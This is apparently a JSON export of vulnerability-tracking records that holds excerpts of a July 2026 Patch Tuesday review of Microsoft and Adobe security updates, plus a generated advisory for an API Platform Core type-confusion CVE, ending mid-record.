Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-15T01:04:26.765645Z"}, {"uuid": "869fa017-d0d1-4d61-91ea-72b9a77ab140", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54164", "type": "seen", "source": "https://gist.github.com/alon710/78794a04f6eb67dcf53fb32270be19e1", "content": "# CVE-2026-54164: CVE-2026-54164: Missing IRI Type Validation in API Platform Core Enables Resource Type Confusion\n\n> **CVSS Score:** 6.5\n> **Published:** 2026-08-07\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54164\n\n## Summary\nCVE-2026-54164 is a class/type confusion vulnerability (CWE-843) in API Platform Core. When processing relationships via Internationalized Resource Identifiers (IRIs) in write requests, the framework's normalizer fails to verify if the resolved resource matches the expected type. For PHP applications utilizing untyped properties, the mismatched object is silently assigned, breaking domain logic and data integrity.\n\n## TL;DR\nAPI Platform Core failed to validate resource types retrieved via relation IRIs, causing Type Confusion in environments with untyped properties.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-843\n- **Attack Vector**: Network\n- **CVSS v3.1**: 6.5 (Medium)\n- **EPSS Score**: 0.00195\n- **Exploit Status**: poc\n- **CISA KEV**: Not Listed\n\n## Affected Systems\n\n- API Platform Core\n- **API Platform Core**: < 4.1.30 (Fixed in: `4.1.30`)\n- **API Platform Core**: >= 4.2.0, < 4.2.26 (Fixed in: `4.2.26`)\n- **API Platform Core**: >= 4.3.0, < 4.3.12 (Fixed in: `4.3.12`)\n\n## Mitigation\n\n- Upgrade API Platform Core to secure releases: 4.1.30, 4.2.26, or 4.3.12.\n- Refactor entity properties to use strict, native PHP type-hints instead of loose PHPDoc annotations.\n\n**Remediation Steps:**\n1. Identify the currently installed version of api-platform/core by running 'composer show api-platform/core'.\n2. Update your dependencies using Composer by running 'composer update api-platform/core'.\n3. Verify the installation of fixed versions (>=4.1.30, >=4.2.26, or >=4.3.12).\n4. Review application entities for loose properties and apply native PHP strict type declarations.\n\n## References\n\n- [GitHub Security Advisory GHSA-9rjg-x2p2-h68h](https://github.com/api-platform/core/security/advisories/GHSA-9rjg-x2p2-h68h)\n- [NVD - CVE-2026-54164](https://nvd.nist.gov/vuln/detail/CVE-2026-54164)\n- [CVE-2026-54164 on CVE.org](https://www.cve.org/CVERecord?id=CVE-2026-54164)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54164) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-08-07T17:31:49.742677Z"}, {"uuid": "61e236a0-ef39-415f-9221-2a1a476ea081", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54125", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 